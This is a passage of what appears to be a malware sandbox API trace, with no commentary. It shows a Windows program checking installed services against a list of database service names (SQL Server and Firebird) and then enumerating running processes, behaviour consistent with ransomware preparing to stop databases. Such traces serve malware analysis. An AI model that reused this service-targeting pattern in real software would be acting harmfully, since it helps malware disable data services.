	[0183.505] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0183.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0183.505] lstrlenW (lpString="CryptSvc") returned 8
	[0183.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0183.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0183.505] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0183.505] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0183.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0183.505] lstrlenW (lpString="DcomLaunch") returned 10
	[0183.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0183.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0183.505] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0183.505] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0183.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0183.505] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0183.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0183.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0183.506] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0183.506] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0183.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0183.506] lstrlenW (lpString="Dhcp") returned 4
	[0183.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0183.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0183.506] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0183.506] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0183.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0183.506] lstrlenW (lpString="Dnscache") returned 8
	[0183.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0183.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0183.506] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0183.506] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0183.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0183.506] lstrlenW (lpString="DPS") returned 3
	[0183.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0183.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0183.506] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0183.506] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0183.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0183.506] lstrlenW (lpString="DusmSvc") returned 7
	[0183.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0183.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0183.506] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0183.506] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0183.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0183.506] lstrlenW (lpString="EventLog") returned 8
	[0183.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0183.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0183.506] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0183.506] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0183.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0183.507] lstrlenW (lpString="EventSystem") returned 11
	[0183.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0183.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0183.507] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0183.507] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0183.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0183.507] lstrlenW (lpString="FontCache") returned 9
	[0183.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0183.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0183.507] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0183.507] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0183.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0183.507] lstrlenW (lpString="gpsvc") returned 5
	[0183.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0183.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0183.507] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0183.507] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0183.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0183.507] lstrlenW (lpString="iphlpsvc") returned 8
	[0183.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0183.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0183.507] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0183.507] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0183.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0183.507] lstrlenW (lpString="KeyIso") returned 6
	[0183.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0183.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0183.507] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0183.507] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0183.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0183.507] lstrlenW (lpString="LanmanServer") returned 12
	[0183.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0183.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0183.507] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0183.507] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0183.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0183.508] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0183.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0183.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0183.508] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0183.508] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0183.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0183.508] lstrlenW (lpString="lfsvc") returned 5
	[0183.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0183.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0183.508] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0183.508] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0183.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0183.508] lstrlenW (lpString="lmhosts") returned 7
	[0183.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0183.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0183.508] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0183.508] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0183.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0183.508] lstrlenW (lpString="LSM") returned 3
	[0183.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0183.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0183.508] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0183.508] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0183.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0183.508] lstrlenW (lpString="MpsSvc") returned 6
	[0183.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0183.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0183.508] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0183.508] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0183.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0183.508] lstrlenW (lpString="NcbService") returned 10
	[0183.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0183.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0183.509] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0183.509] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0183.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0183.509] lstrlenW (lpString="netprofm") returned 8
	[0183.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0183.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0183.509] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0183.509] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0183.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0183.509] lstrlenW (lpString="NgcSvc") returned 6
	[0183.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0183.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0183.509] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0183.509] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0183.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0183.509] lstrlenW (lpString="NlaSvc") returned 6
	[0183.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0183.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0183.509] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0183.509] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0183.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0183.509] lstrlenW (lpString="nsi") returned 3
	[0183.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0183.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0183.509] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0183.509] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0183.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0183.509] lstrlenW (lpString="PcaSvc") returned 6
	[0183.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0183.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0183.509] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0183.509] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0183.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0183.509] lstrlenW (lpString="PlugPlay") returned 8
	[0183.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0183.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0183.510] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0183.510] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0183.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0183.510] lstrlenW (lpString="Power") returned 5
	[0183.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0183.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0183.510] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0183.510] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0183.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0183.510] lstrlenW (lpString="ProfSvc") returned 7
	[0183.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0183.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0183.510] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0183.510] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0183.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0183.510] lstrlenW (lpString="RpcEptMapper") returned 12
	[0183.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0183.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0183.510] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0183.510] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0183.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0183.510] lstrlenW (lpString="RpcSs") returned 5
	[0183.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0183.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0183.510] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0183.510] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0183.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0183.510] lstrlenW (lpString="SamSs") returned 5
	[0183.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0183.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0183.510] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0183.510] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0183.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0183.510] lstrlenW (lpString="Schedule") returned 8
	[0183.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0183.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0183.511] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0183.511] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0183.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0183.511] lstrlenW (lpString="SecurityHealthService") returned 21
	[0183.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0183.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0183.511] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0183.511] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0183.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0183.511] lstrlenW (lpString="SENS") returned 4
	[0183.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0183.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0183.511] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0183.511] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0183.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0183.511] lstrlenW (lpString="ShellHWDetection") returned 16
	[0183.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0183.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0183.511] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0183.511] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0183.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0183.511] lstrlenW (lpString="Spooler") returned 7
	[0183.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0183.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0183.511] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0183.511] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0183.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0183.511] lstrlenW (lpString="StateRepository") returned 15
	[0183.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0183.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0183.511] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0183.511] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0183.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0183.511] lstrlenW (lpString="SysMain") returned 7
	[0183.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0183.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0183.512] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0183.512] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0183.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0183.512] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0183.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0183.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0183.512] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0183.512] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0183.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0183.512] lstrlenW (lpString="Themes") returned 6
	[0183.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0183.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0183.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0183.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0183.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0183.512] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0183.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0183.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0183.512] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0183.512] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0183.512] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4142028 | out: hHeap=0x710000) returned 1
	[0183.512] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3c8
	[0183.517] Process32FirstW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0183.517] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0183.517] lstrlenW (lpString="System") returned 6
	[0183.518] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0183.518] lstrlenW (lpString="smss.exe") returned 8
	[0183.518] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0183.518] lstrlenW (lpString="csrss.exe") returned 9
	[0183.518] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0183.519] lstrlenW (lpString="wininit.exe") returned 11
	[0183.519] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0183.832] lstrlenW (lpString="csrss.exe") returned 9
	[0183.832] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0183.832] lstrlenW (lpString="winlogon.exe") returned 12
	[0183.832] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0183.833] lstrlenW (lpString="services.exe") returned 12
	[0183.833] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0183.833] lstrlenW (lpString="lsass.exe") returned 9
	[0183.833] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0183.834] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0183.834] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0183.834] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0183.834] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.834] lstrlenW (lpString="svchost.exe") returned 11
	[0183.835] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.835] lstrlenW (lpString="svchost.exe") returned 11
	[0183.835] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0183.835] lstrlenW (lpString="dwm.exe") returned 7
	[0183.835] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.836] lstrlenW (lpString="svchost.exe") returned 11
	[0183.836] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.836] lstrlenW (lpString="svchost.exe") returned 11
	[0183.836] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.837] lstrlenW (lpString="svchost.exe") returned 11
